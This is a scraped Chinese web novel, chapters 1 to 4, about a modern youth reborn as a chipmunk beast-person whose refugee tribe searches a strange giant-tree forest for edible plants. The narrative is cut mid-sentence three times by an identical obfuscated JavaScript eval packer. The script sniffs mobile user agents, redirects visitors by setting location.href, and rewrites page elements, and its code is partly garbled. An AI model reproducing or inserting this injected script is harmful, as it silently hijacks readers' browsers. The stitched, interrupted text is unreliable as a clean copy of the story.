《花栗鼠原始历险记》 1. 第 1 章 “快,快跑,再快点!” “哥哥,呜呜呜呜,哥哥你醒醒……” “救命,救救我——啊啊啊啊!” “别愣着,跑啊!” 谁,谁在说话? 爸妈的哭喊声渐渐淡去,萦绕鼻间的消毒水味被一股浓烈的土腥味替代。风声雨声,孩童的抽泣声,绝望的呼喊声夹在一起,慢慢清晰。 太阳穴传来一股刺痛,花时安快要消散的意识像是被什么东西抓住一般,缓缓回笼。胸口实在闷得慌,他张嘴呼吸新鲜空气,却猝不及防地灌了一大口水。 “咳,咳咳!” 这下彻底清醒了,平躺在地的花时安猛地弹坐起,将嘴巴里咸腥的泥水咳吐出来。 “嗖——” 呼啸的风声从耳旁吹过,刚缓过神的花时安抬头一看,一只巨大无比、狰狞可怖的苍鹰俯冲而下。那锋利的爪子如同死神镰刀,快而迅速地擒获一只松鼠,转瞬振翅高飞。 整个过程不到两秒,随苍鹰腾空而起的松鼠拼命挣扎,绝望呼喊:“啊啊啊啊,救、救我!” “轰,轰隆隆——” 疾驰的闪电照亮夜空,狂风骤雨席卷,裹着泥沙的雨水好似残暴的猛兽,肆虐山林,吞噬草木,化为一条条湍急的河流。 山塌树倒,栖居森林中的松鼠们惊慌失措,四散逃窜。动作慢的被泥石流吞没,甚至来不及呼救,而动作快跑到安全区域,以为逃过一劫的松鼠,下一秒又被虎视眈眈的苍鹰捕获。 自然灾害,苍鹰围猎松鼠,一部很精彩的自然纪录片。 但松鼠为何口吐人言?苍鹰为何如此巨大? 被雨水淋湿的松鼠为何跑着跑着变成了高高瘦瘦的青年? 还有,花时安在脑门上拍了一下:“我为什么在现场?” “嗖!” 低空盘旋的苍鹰发现猎物,猛地俯冲下来。 在黑暗中对上锐利如炬的鹰眼,花时安终于意识到——虽然很不科学,但自己极有可能变成了松鼠这一事实。 来不及多想,花时安脚爪并用从地上爬起来,可常年卧床让他几乎忘了如何行走,刚迈开步子便左脚绊右脚,踉跄摔倒在地。 阴差阳错捡回一条命,结果还是难逃一死。风声越来越近,花时安还想再挣扎一下,但下一瞬,仿佛一脚踩空跌落山崖,身体忽然悬空。 失重带来强烈的晕眩感,花时安两眼一黑,瞳孔开始涣散。彻底失去意识前,他发现自己并不在苍鹰利爪之下,而是在一个男人手中。 身体已然抵达极限,花时安不受控制地闭上了双眼,但意识格外的清醒,太阳穴又传来一股刺痛,紧接着,一段不属于自己的记忆争先恐后地涌入脑海中。 神秘古老的原始森林,巢居穴处的兽人部落…… 因抢救无效,被医生宣告死亡的花时安穿越了,水灵灵地从科技发达的现代社会穿越到食不果腹的原始社会。 与花时安认知里的原始社会基本一致,原始部落巢居穴处,以捕猎采集为生。唯一的不同在于,记忆里的族人不仅是人,他们还可以在人形与兽形之间自由切换,简称兽人。 身体原本的主人名叫安,与花时安同岁,今年十七。 他来自花栗鼠部落,是一名——亚兽人。 没错,这个世界的性别不止男女,还有亚兽人与兽人之分。简单来说,除了能自由切换形态,亚兽人与普通人类无太大区别;兽人则保留了更多野性,普遍身强力壮,战斗力更强。 男人可能是亚兽人,女人也可能是兽人,这都不重要,重要的是——亚兽人能生,生小孩的生! 花时安有点慌了,敢情他穿成了一个小男女孩?在记忆里仔细搜寻了一遍,发现身体外部结构并无变化,他稍微放心了一点。 持续半月的暴雨,原身所在的松鼠部落背靠大山,惨遭山洪泥石流席卷。突如其来的灾难摧毁家园,原身与同伴反应还算迅速,纷纷化作兽形与泥石流赛跑,侥幸逃出森林。 可逃过泥石流的小松鼠们还没来得及松一口气,虎视眈眈的天敌——苍鹰部落趁火打劫,突然发起袭击。 前有狼后有虎,失去森林庇护的松鼠如同跃出水面的鱼儿,毫无反抗之力,轻而易举便被苍鹰擒获,夺走性命。 同伴接连被抓走,原身也被鹰爪扼住了咽喉。 不知道说他运气好还是不好,抓住他的是一只捕猎经验不足的幼鹰,起飞时未收紧爪子,原身侥幸从鹰爪中脱落,重新摔回地面。 但就是这一摔,再睁开眼睛的人已经是花时安。 十七年的记忆如同一团剪不断,理还乱的麻线,花时安被迫接收完这段不属于自己的记忆,心里多少有点不是滋味。为拼命活下去的原身感到唏嘘,为死而复生的自己感到庆幸。 * “呜呜呜,阿父,我阿父不见了!” “我的腿是不是断了?好疼好疼啊。” “阿母,我好冷,我好饿。” “忍一忍,再忍一忍。” …… 花时安是被吵醒的,迷迷糊糊睁开眼,发现自己正躺在一个乌漆麻黑的洞穴中,身下是两片树叶拼凑而成的小床。 不出所料,他果然变成了一只花栗鼠,视力一下子变好了许多。尽管身处光线微弱的环境,但他一眼便看到自己本应是手掌的小爪子,和身上沾着泥水的棕色皮毛。 没空研究毛茸茸的新身体,木头腐朽的味道与一股霉臭味掠过鼻间,花时安费了点劲坐起身,四下环视一圈。 阴暗潮湿的洞穴并非山洞、岩洞,四周洞壁皆是爬满霉斑的木头,地面泥泞不堪,头顶上方还有点透光、漏雨,如果没猜错的话,这里应该是个树洞。 作为树洞,洞穴过于大了些,一路逃窜至此的松鼠兽人扎堆挤在一起,少说也有四五十人。旁边的空地铺着一张张树叶床,四五只脏兮兮的小松鼠躺在地上,只醒了花时安一只。 外侧将近两米高的树洞口,五六个高大精壮的男人并肩坐成一排,用身躯筑成一堵坚固的围墙,挡住拂晓山林的风,随风飘进树洞的雨。 天已经麻麻亮了,兽人们狼狈又疲惫,却无一人闭眼休息。 死亡的阴影笼罩在头顶,抽泣声与哀嚎声萦绕树洞,没有劫后余生的喜悦,只有饥寒交迫,绝望与压抑。 松鼠部落并非独立部落,它更像是一个大家族,由红松部落,巨鼠部落,岩河部落,长林部落,原身所在的花栗鼠部落,五个小部落组成。 同属松鼠部落,小部落之间却很少往来。各族族长与狩猎队勇士或许还会因联合狩猎而产生交集,互相认识,像花时安这种鲜少走出部落的亚兽人,除自家部落的花栗鼠,其他一概不识。 树洞里零零散散四五十人,继承原身记忆的花时安却一个眼熟的都没看见,原身的花栗鼠族人怕是…… “哎!” 树洞宛如闹市,明显被吵烦了,坐在洞口最右侧的男人长叹一口气,语气不耐烦道:“我说都一晚上了,能不能别吵了,安静会儿成吗?” 他说话十分有威慑力,话音刚落,嘈杂的树洞立马安静下来,只有哭到一半实在憋不回去的小孩,刻意压低地呜咽。 “勇,你这是干啥?”坐在旁边的男人看不下去,抬起手肘撞了他一下,愁眉苦脸道:“森林没了,家没了,家人也没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409120|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家心里难受就非得憋着?哭也不行?” 被唤作勇的青年冷哼一声:“哭,哭有什么用?哭就能填饱肚子?别忘了我们现在在哪,有力气哭不如想想怎么活下去!” “你——” “勇说得对。” 树洞里面传来一道声音,花时安回头一看,说话的是一个身形瘦弱,略微有些沧桑的中年男人。 似乎着凉了,瘦弱的中年男子捂嘴干咳两声,嗓音尤为沙哑:“泥水冲毁了我们的晴空森林,苍鹰叼走了我们的族人,大家心里都不好受,但现在真不是哭的时候。” 中年男人在部落显然有一定的地位,一开口,试图反驳的男人沉默了,而周围其他兽人眼巴巴地望向他,安静等着后话。 “我们这会儿在哪?”中年男人抬手拍了拍木头洞壁,自问自答:“哪里有这么大,能住四五十个人的树洞?有的人应该已经猜到了,我们在绵绵草原另一头——巨树森林。” 巨树森林,兽世大陆神秘而危险的存在。 传闻森林中住着庞大如山的猛兽,只要进来就再也出不去。它是无数小孩心中的噩梦,也是兽人们敬而远之,宁愿饿肚子都不会靠近的兽人禁区。 “巨树森林?会吃人的巨树森林?” “昨晚光顾着跑了,我、我没留意,我们真的在巨树森林?” “好像是,昨天晚上我就看到很多大树,特别特别大。” “那我们怎么办?现在怎么办?” “跑吧,现在跑还来得及吗?” “哇呜,我错了阿母,不要把我丢在巨树森林。” …… 树洞瞬间沸腾起来,悲伤散尽,无法遏制的恐慌如瘟疫般弥漫开。 “安静,安静!” 引起恐慌的中年男人眉头紧皱,连连摆手示意,待议论声渐渐弱下去,他赶忙安抚道:“不要慌,一整夜了,我们这不是好好活着嘛,兴许巨树森林没那么危险,也没有老人说的巨兽。” “有巨兽啊木族长,真有巨兽。”坐在角落的妇人双手握拳,紧张得直发抖,“小时候我就听老族长说过。也许、也许我们没有深入森林,一直躲在树洞,巨兽还没发现我们。” “我也听说过,我阿父亲口说的,他两个兄弟误入巨树森林,就再也没有出来过。”又一个男人附和道。 木族长叹气:“晴空森林没了,草原上还有可恶的苍鹰守着,族人伤的伤死的死,我们已经没有地方去了。有巨兽又怎么样?难道躲在树洞里抹眼泪就能填饱肚子?” “被巨兽吃掉左右不过一瞬间的事儿,可能还不会疼。但这也怕那也怕,跌在地上爬就爬不起来的兽人,冻死,饿死,就是你们的下场!” “横竖都是死,被巨兽吃掉还痛快些。”勇一拍大腿站起身,“你们想躲就躲,反正我不躲了,我要去找食物,找新的住处。” “我也去!”刚才反驳勇的男人也跟着站了起来。 在这种生死攸关的时刻,身强力壮的兽人勇士带头,比族长的话更有凝聚力。他俩一站起身,畏手畏脚的松鼠兽人如同打了鸡血,妇人拉着小孩,伤患扶着洞壁艰难起身,生怕被人抛下。 一看这场面,本就是为了凝聚人心的木族长摆摆手: “行了,小孩老人和受了伤的都坐下。大族长不见了,作为红松部落的族长,我会尽力带着剩下的族人活下去。我们是一个部落,一个集体,不会无故抛下任何人,除非……那些好吃懒做,只会哭鼻子抹眼泪的胆小兽人。” 前有狼后有虎,头顶还有蠢蠢欲动的天敌,弱小的松鼠兽人想要活下去,只能在这神秘而危险的兽人禁区中寻一线生机。 2. 第 2 章 打一巴掌给颗甜枣,既凝聚了人心,又激励了人心。 不得不说,松鼠部落这位木族长真有点东西。就这么一会儿,方才还死气沉沉的树洞一下活跃起来,兽人们眼睛里重新燃起希望与斗志。 灾难来得突然,能从泥石流与鹰爪下逃出来的,大多是身强力壮的年轻人。当然也有运气好的,比如花时安,也有受父母庇护的,比如角落里泥猴似的幼崽。 年轻人等同于劳动力,年轻人越多对部落越有利,但逃难可不是旅行,一路逃到这里,每个人身上都带着不同程度的伤,强大的兽人勇士也不例外。 花时安大致数了一下,不包括躺在地上不省鼠事的松鼠,树洞总共五十二个人。其中十多个老人小孩,十多个伤势较为严重,短时间内无法行动的年轻人。 总之,目前能正常行动的人不超过一半。 仓促逃出森林,除了围在腰间遮羞的草裙,几乎家当与食物什么都没来得及带。五十多张嘴吃饭,不能光靠兽人外出寻觅食物,所以木族长大手一挥,让那些成年的,伤势不算严重的亚兽人也跟着一块外出。 无人在意的角落,花时安不太熟练地化作人形,掸了掸身上被泥水濡湿,冷冰冰的小草裙。 很奇怪也很奇妙,还是花栗鼠的时候,花时安腰间就围着一条袖珍草裙,变回人形后草裙依旧稳稳围在腰间,像是随着人形变大而变大,丝毫没有被撑破的迹象。 虽然不知道是什么原理,但衣物会随着变幻真的很方便,要是变回人形不着寸缕,花时安这时候一定躺在地上装死。 树洞口熙熙攘攘,兽人与亚兽人在洞口扎堆,分成小队准备外出。只受了点轻微皮外伤的花时安果断选择加入,被木族长分在了一支六人小队中。 天色渐明,声势浩大的暴雨转为小雨,淅淅沥沥地下不停。 一夜未睡的松鼠兽人井然有序地走出树洞,按照事先分好的小队,五六个人一组,踩着枯枝落叶走向四个不同的方向。 跟着同伴走出树洞,花时安的眼睛和嘴巴就再没合上过。泥土与青草的清香扑面而来,沉寂的森林被微微泛蓝的天光唤醒。 巨树森林如其名,粗壮而高大,如灯塔般挺拔苍劲的巨型红杉树随处可见,巍然屹立在森林中。 枝繁叶茂的树冠如同一把巨型遮阳伞,层层叠叠的枝叶遮天蔽日。底部树干大得夸张,至少需要十多人手拉手才能合抱;高度不低于百米,等同现代社会的高楼大厦。 花拾安站在树下仰望,莫名有种站在巨人脚下的错觉。 作为不折不扣的森林霸主,巨型红杉并非蛮横强势的掠夺者,反倒用自身构建出独特的生态系统,滋养了一个生机勃勃的森林。 微风吹拂,树脚下肆意生长的苔藓一片翠绿,毛茸茸的叶儿挂着雨珠,远远看去好似一块柔软的草坪。光线充足的空地,黄色小野菊开得正艳,茂密的灌木丛,鹰爪枫缠着白桦肆意生长。 第一次真正意义上的亲近自然,花时安看呆了,不知不觉就掉了队。等他回过神时,其他人已经不见了,只有一个高高壮壮的青年站在不远处灌木丛跟前。 人生地不熟的森林,跟大部队走散可就完蛋了,花时安不敢耽搁,一路小跑到青年身后。 而他正想询问其他人去哪时,听到动静的大个子转过头,好像与他相熟一般,抿着嘴唇友善一笑,“你、你还好吗?有没有受伤?” 青年身形高大挺拔,肩宽背阔,他的个子相当高,目测至少有一米九五。往身前一站跟座山似的,裹挟着浓浓的压迫感。 和他健壮结实的身材一样,他的长相也很锋利。高鼻梁,薄嘴唇,剑眉星目,有成熟男性的硬朗,又有着一股少年英气,给人一种不好惹,不好接近的感觉。 但他身上有种很强的违和感,特别是笑起来的时候,一下子就从高冷酷哥变成了憨厚的老实人。 看着那近乎讨好谄媚的笑容,花时安似有不解地皱起了眉,试探着问道:“我们以前……认得?” 一句反问把人弄紧张了,青年红着脸摆手,磕磕巴巴道:“不,不认得。那个,我、我叫山,是红松部落的兽人。” 怎么还自我介绍起来了?又紧张又脸红,难不成是原身的追求者?花时安在记忆里仔细搜寻了一遍,发现原身也没见过这个过分热情的兽人。 出于礼貌,花时安笑着与他点点头,“我叫安,是花栗鼠部落的亚、亚兽人。谢谢你的关心,我只是受了一点皮外伤,没什么大事。” “没事就好。”山明显松了一口气,咧嘴嘿嘿一笑,“昨晚你、你睡过去了,怎么叫都叫不醒,我还担心你伤到了头。” 花时安倏地抬起头,“啊?昨晚救我的人是你?” 山挠了挠头,“我、我刚好路过,顺手。” 昨晚意识模糊,花时安没有看清救他的人是谁,刚那会儿在树洞他还到处瞅呢,瞅谁都像,瞅谁又都不像。 认不出救命恩人就算了,人家主动关心他的伤势,他还误会人家…… 危难时刻施以援手,自顾不暇还带着他逃难的救命恩人啊! 愧疚感一下子拉满了,半夜醒来都会给自己一巴掌的程度,花时安在额头上拍了一下,赶忙与青年解释:“对不起对不起,我不知道……总之谢谢你山,要不是你救了我,我根本逃不出来,指定被苍鹰抓走了。” 冷冰冰的亚兽人突然变热情,山无暇应对,连连摆手,“你别这样说,我、我就是路过,刚好看到你,不是特意去救你。” 这也太实诚了,花时安笑出声,“不管怎么说都是你救了我。我现在什么都没有,不知道该怎么报答你,我们也算是过命的交情了,以后有什么事尽管说!” 山嘴唇微张,似乎还想说点什么,而这时,兽人们的交谈声夹杂着高呼从灌木丛另一头传了出来:“奇怪,还是什么都没有,走,我们再去前面看看。” “大傻个人呢?走了!” 大傻个?花时安愣了一下。 站在身旁的山:“欸,来了!” 跟着山重新回归队伍,花时安捡了根树枝探路,与族人一同专心翻找灌木丛。 一宿没吃东西,又迟迟找不到食物,筋疲力尽的兽人好似霜打的茄子,慢慢就蔫儿巴了。其实路上也看到一些可食用的植物,比如白茅根,但兽人们并未为它停下脚步。 开始花时安还以为嫌弃味道不佳,或饱腹感不够强,直到——走过族人走过的路,圆润饱满的蓝色浆果散落在坑坑洼洼的地面,踩扁都没有被人发现。 这……花时安果断往地上一蹲,伸手将疑似蓝莓的果子从泥地中捞起来,放在鼻子底下嗅了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409121|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗅。 土腥味夹杂着清新淡雅的果香掠过鼻尖,花时安眼睛顿时亮了起来,这比指腹还大的果子竟然真的是野生蓝莓。 腰不酸了,人也精神了,花时安抓着蓝莓麻利地站起身。 而就在他准备将新发现告诉眼神不好的族人时,带队打头阵的兽人像是没了耐心,突然踹倒路旁歪脖子桉树,大发雷霆骂骂咧咧道:“一上午了,野菜、野果什么都没找到,这到底是什么鬼地方?!” 踢树不足以泄愤,说罢,兽人又从同伴手中夺过一根树枝,对着灌木丛一顿劈砍打砸。 树叶与雨水飞溅,同行兽人旁边退了几步,赶忙劝阻:“冷静一点简,我们还有劲儿,慢慢找就是了。” “这是慢慢找就能找到的?你们难道还没发现?” 简胸口剧烈起伏,过了一阵子才慢慢平复下来,指着四周分析道:“不一样,和我们晴空森林完全不一样。苗苗菜、红红果、丁豆这些雨季常见的野菜野果,巨树森林一样都没有。再看看这些奇奇怪怪的树和草,你们见过吗?反正我从来没见过。” 另一个兽人:“不同的森林嘛,有不认识的花花草草很正常。再说巨树森林大呀简哥,我们没走多远,说不定再往里面走走就能找到苗苗菜、红红果了。” “不,找不到。”绑着马尾的女亚兽人似乎想到了什么,眉头紧皱,愁容满面,“小时候听祭司大人说过,巨树森林里最危险的从来不是巨兽,巨树森林是独立的,危险来自神秘未知。” “以前不懂未知是什么意思,现在看来,巨树森林和外面所有的森林都不一样,我们不认识花草树木,不会辨别野菜野果,这就是未知。” 兽人朗听得一脸茫然,“什么跟什么?我怎么听不懂。” “意思就是,”简深吸一口气,没什么耐心地解释道:“你从小吃到大的苗苗菜、红红果、丁豆、香木尖……巨树森林全都没有,以后也不会有。” 朗:“啊?那我们吃什么?” 简:“你问我我问谁?” “要不赶紧回去告诉族长,现在离开森林还来得及。” 简冷笑一声:“来得及?我们没受伤喝点雨水还能撑两天,树洞里那些人呢,有的连路都走不了,你让他们怎么办?” “离开森林也没地去,我看不如继续找,感觉能吃的野菜野果都摘上,带回树洞问问族长和老人,兴许他们认识一些。”亚兽人兰提议道。 简点点头,“我阿姐这主意不错,就这么办。” 听到兽人们的交谈,花拾安后知后觉地反应过来,自己忽略了一个问题。 原身认得红杉树、桉树、蓝莓这些植物吗? 不认得! 他把自己和原身的记忆搞混了,默认原身也认识这些植物。实际没来巨树森林之前,原身在花栗鼠部落的食物:苗苗菜、红红果、丁豆……花拾安闻所未闻,见所未见的植物与果子。 已经不在原来的世界了,多些新物种并不奇怪,可族人刚才的话提醒着他,奇怪的不是外面,而是这座神秘危险,与地球高度相似的巨树森林。 习以为常的植物在这里是特殊的,其他地方不曾生长的,超出绝大多数兽人部落认知的新奇植物。花时安看着掌心被泥水包裹的蓝莓,微蹙的眉头舒展开,嘴角扬起一抹愉悦的弧度。 3. 第 3 章 昏暗的树洞沉闷压抑,安静得有些诡异。 雨停了,外出寻找食物的小队陆续回来了,还带回了不少东西。可树洞丝毫没有收获的喜悦,乌泱泱一群人挤在洞口,大气都不敢出,神色凝重地盯着眼前空地。 松鼠兽人天生属于丛林,对赖以生存的植物相当敏感。虽说刚进入一片全然陌生的土地,但他们还是凭借过往生存经验,筛选出一些看着能食用的野菜野果。 茎红叶肥的野菜,橙红相间的圆形小果,外壳长满尖刺、硬邦邦的坚果,以及四串黑里透红,极为诱人的浆果…… 奇形怪状的植物并排摆放,木族长眉头的越拧越紧。 神情已然说明一切,兽人勇却心存侥幸,蕴藏期待的眼睛直直盯着木族长,“怎么样族长,有认识的,有能吃的吗?” “我……”木族长无可奈何地摇摇头,长叹一口气,“活了大半辈子,我从没见过这些野草野果。这森林太奇怪了,祭司大人当年没有吓唬我们,什么能吃什么不能吃都分不清,比巨兽还可怕啊!” “先别管说这些了族长,”勇急得抓耳挠腮,抓起野菜凑到木族长眼皮子底下,“你再看看,这个,这个呢?真就一种也认不出?” 木族长推开他的手,“见都没见过,看看就能认得出?” 勇失落地垂下手,旋即又将视线转向旁边头发花白的老人,然而没等他开口,老人拿起长满尖刺的坚果,哑着嗓子道:“我也认不得,不过这果子看着倒像石果,勇啊,你砸一个我来尝尝。” “那不行。” 勇虽心急,但一听这话,第一个站出来反对。 木族长也跟着附和:“不妥,不认识的东西不能乱吃,要知道有些果子看着好吃,吃下去却是会死人的,不能犯这个险。” “这里不是我们熟悉的晴空森林,不认识的不吃,那还有什么能吃?”老者回头望树洞,浑浊的双眼倒映着茫然无措的族人,轻声叹息:“如今部落遭难,当重新开始,我这把年纪也活够了,能为你们找些食物出来也是好事。” 老人说得没错,一片陌生的森林摆在面前,想要重建部落,重新开始新生活,至少找出一种能放心填饱肚子的食物。 还没从失去亲人的悲痛中走出来,又被如何填饱肚子给难住了,松鼠部落不被兽神眷顾了吗?就这样完蛋了吗? 不,必须有人站出来,那不如…… “我来!”勇牙一咬,抓着一串黑里透红的浆果站起身,面向众人道:“我年轻我身板硬,吃了毒果子也不一定会死,我先吃一点试试。” “我也来!” “算我一个!” “一人一个,我吃这个。” 勇的话点燃了士气,死气沉沉的兽人、亚兽人齐刷刷站起身,一人在地上拿了一种野菜野果。 这阵仗,方才说话的老者急得捶胸顿足,“放下,你们给我放下!糊涂啊,我一把老骨头死了就死了,你们年轻人才是部落的希望,哪能让你们先吃。” 没有人搭理老者,兽人各自挑选食物,剥皮去壳,义无反顾地将不知名野菜野果塞进嘴里。而就在这时,树洞外忽然传来一声嘹亮的高呼。 “族长,族长!我们找到食物了!” 木族长先是一愣,回过神后着急忙慌地指挥兽人,“快,把果子吐掉,别嚼,别咽下去。是朗,朗他们带着食物回来了!” 一句话的功夫,兽人朗带着最后一支小队,浩浩荡荡地走进树洞。 没来得及分享收获的喜悦,一进来就感觉气氛不太对劲。 看着族人一副视死如归的神情,再看他们手中的野菜野果,朗笑意顿时凝固在脸上,“你们干什么,这是能随便吃的吗?” 吃上了?听到动静的花时安探出头,越过朗看了一眼。 不看不要紧,一眼瞅过去,差点把他魂都吓掉。 形似小番茄的圆果子——珊瑚樱; 黑里透红形似野葡萄的浆果——商陆! 这是能吃的吗!怀中战利品往地上一丢,花时安三步并作两步冲上前,一把夺过兽人勇手中只剩半串的商陆,“嚼碎了吗?咽了吗?这果子有剧毒,赶紧吐出来!” “你,还有你,都吐了!吐完出去找水漱漱口。” 兽人相当惜命,话音刚落,吐东西的“呸呸”声响彻树洞。 没有不信邪的犟种,被指到的,没指到的兽人纷纷吐出口中草果,又急急忙忙跑出树洞,在洞口小水洼中掬水漱口。 阻止得及时,果子虽已入口,但并未咀嚼吞咽,误食珊瑚樱与商陆兽人应该没有大碍。花时安松了一口气,正想把手中剧毒无比的商陆丢出去,漱完口回来的勇挡住了去路。 “你认得巨树森林里的野菜野果?”兽人扫过商陆,犀利的双眸死死盯着花时安。 不单是他,木族长与老人,陆续归来的兽人,几十双眼睛齐刷刷盯着花时安,等着他的回答。 上压力了…… 本来也没想隐瞒,花时安坦然点点头。 似乎见他太久没说话,蹲在洞口整理战利品的朗站起身,指着地面野菜野果,替他回答道:“认得,他说他认得。我们一直找不到食物,是他告诉我们,这些果子和野菜没有毒,可以放心吃。” 急着回来通知族人,小队带回来的植物不算多。 包裹在树叶里圆润饱满的蓝莓,挂着水珠的马齿苋,外壳长满尖刺的毛栗球,刚从泥地里刨出来,伞肥杆粗的青头菇。 勇低头一扫,无一例外全都不认识,只能再将目光转向花拾安,“我记得你好像是花栗鼠部落的亚兽人,从来没离开过晴空森林,你在哪见到过这些植物?又是怎么知道没有毒?” 回来的路上早已打好腹稿,花时安脸不红心不跳,一本正经道:“很久很久以前,大概十岁那年,我在森林里碰到过一位外乡人。他说他很饿,让我给点食物,但是很奇怪,那一路上明明长着很多丁豆,他就是不吃。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409122|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “交谈后我才知道,原来他不是晴空森林的兽人,也不认识森林里的植物,就像刚进入巨树森林的我们一样,一切都是陌生的。后来我帮他找了食物,给他说那些果子能吃,作为交换,他也给我讲了很多他家乡的食物。” “从没离开过晴空森林,本来我都快忘了,直到今天早上找食物,我在草丛里看到了一些外乡人说过的果子才想起来。” 一点儿都不带怀疑的,木族长若有所思地捏着下巴,顺着花时安的话往下讲:“不认识晴空森林的植物,却知道巨树森林的植物……难不成你碰到的外乡人是住在巨树森林里的兽人?” 花时安无辜眼:“那我就不知道了,他没说。” 入口的东西需谨慎,木族长问完,老人又问:“这么说来你也是第一次见,那你是用什么法子认出这些果子的?很多野菜野果都长得差不多,你怎么知道摘的就是那个人说的果子呢?” “颜色和形状,那个人说得很仔细。” 花时安伸手指向地面,耐心解答:“这个叫蓝莓,蓝色扁圆形,表皮覆着一层白色果粉,酸酸甜甜的,可以直接吃;这个叫马齿苋,茎红叶肥,森林里常见的野菜,可以生吃也可以煮熟吃;这个叫板栗……” 将带回来的野菜野果挨个儿介绍一遍,老人已然深信不疑。 他看着花时安直点头,被阴霾笼罩的眸子渐渐亮了起来,褶皱纵横的脸庞浮现出一抹笑容,“好好好,兽神护佑!我们松鼠部落还有希望和生机啊!” “那这些果子到底能不能吃?” “笨呀,青爷爷都这样说了,指定能。” “太好了,我们有食物了!” “以后遇到不认识的果子都摘回来,让他认一认!” 有人欢喜有人愁,兽人们沉浸在找到食物的喜悦中,勇却依旧眉头紧皱,“别高兴得太早,他也只是听说,又没尝过,有没有毒还是要吃下去才知道。” 花时安摸着自己饿扁的肚皮,果断开口,“大家不放心的话,我可以来试吃。每隔一段时间吃下一种食物,没出现奇怪的反应就能证明无毒。” 未知滋生恐惧,兽人们一无所知,美味的蓝莓、板栗对他们而言相当于毒药。花时安就不一样了,试吃就像喝水一样简单,毫无心理负担。 当然,这只是一种冠冕堂皇的说法,实际——他是真饿了。 “哈哈哈哈!”木族长仰头大笑,看向花时安的眼神中带了几分敬佩与欣赏,“有勇气又有胆识,记性还很好,小亚兽,你叫什么名儿?” 小、小亚兽…… 花时安干巴巴一笑,“我叫安。” “安,好啊好名儿。” 木族长笑着感叹了一句,旋即扬着下巴环视一圈,像对花时安说,又像是对所有族人说:“你是兽神给我们的指引,你是我们重建部落的希望。这果子谁来尝都行,你不能第一个尝。” 花时安:…… 先让希望填饱肚子啊! 4. 第 4 章 蓝莓、板栗一颗没吃上,花时安瘫坐在地,双眼涣散地枕着洞壁,饿得那叫一个前胸贴后背,连手指头都快抬不起来了。 好消息,除蘑菇以外的野菜野果分别让不同的族人吃下去了,一整个下午了,未出现不良反应的族人足以证明,花时安挑出来的植物均无毒可食用。 坏消息,带回来的野菜野果不多,试毒试完了。整个树洞现在只剩下半串商陆、一捧珊瑚樱,外加混在板栗里面的马栗,和几个不能生吃的青头菇。 身体无恙的兽人们又离开了,继续外出寻找食物,本该一同前去的花时安混成了保护动物,坐镇树洞充当军师…… 天色渐渐暗了下来,消停半日的雨水再度落下,沙沙的白噪声充斥着山林。 又饿又困,花时安有气无力地靠着树洞,双眼紧闭。迷迷糊糊都快睡着了,一阵嘈杂而凌乱的脚步声从树洞外面传来。 “他们回来了?” “走走走,去看看。” “是勇,是他们回来了!” “哇,他们找到果子了,好多好多!” 脚步声由远至近,安静的树洞顿时热闹起来,亚兽人与小孩纷纷跑到洞口,迎接外出归来的族人。 花时安也从地上爬了起来,脚步虚浮地走到洞口。 雨越下越大,山林间弥漫着一层厚厚的雨雾,赤脚奔跑在雨中的兽人全部被浇透,湿答答的头发与凌乱的草裙黏在身上,腿上还沾着不少泥点子,既滑稽又狼狈。 这一趟收获颇丰,每个人的怀里都抱着东西,用藤蔓捆起来的野菜,用层层树叶包裹起来的板栗。 为什么知道是板栗呢?因为部落一大半老弱病残,一个人干活两张嘴吃饭,好吃又管饱的板栗最适合作为现目前的主食,花时安特意让他们去找的。 勇领着一群人浩浩荡荡地走进树洞,把树叶往地上一放,脸上雨水都顾不上擦一下,赶忙向站在洞口的木族长确认:“怎么样族长,那叫板栗的果子能吃吗?吃板栗的人有没有觉得哪里不舒服?” “能,能吃!”木族长也不卖关子,及时将好消息分享给在外辛劳一天的族人:“有三个亚兽吃了板栗果,吃得还不少,到现在他们都没有出现奇怪的反应,身体也没有不舒服。” 族长身旁十四五岁的男孩举起手,“我,我吃了板栗果。脆脆甜甜的,非常非常香,是我吃过最好吃的果子!” “我吃的是蓝莓,也好好吃!我喜欢蓝莓果。” “我吃了马、马菜?酸酸脆脆的,不怎么好吃,但应该没有毒,我身体没有不舒服。” 吃过野菜野果的族人纷纷表态,听到这话,勇最后一丝顾虑彻底打消了,咧着嘴笑了起来,“能吃就好,能吃就好!来,让大伙儿看看我们今天的收获。” 话落,兽人们挨个儿上前,将怀中今天的收获放在地上。 野菜均是新鲜脆嫩的马齿苋,一捆接一捆,足足堆成半人高的小山包。不知从哪找的芭蕉叶充当容器,撕开层层叠叠的叶片,幼儿拳头大的毛栗球接连滚出来。 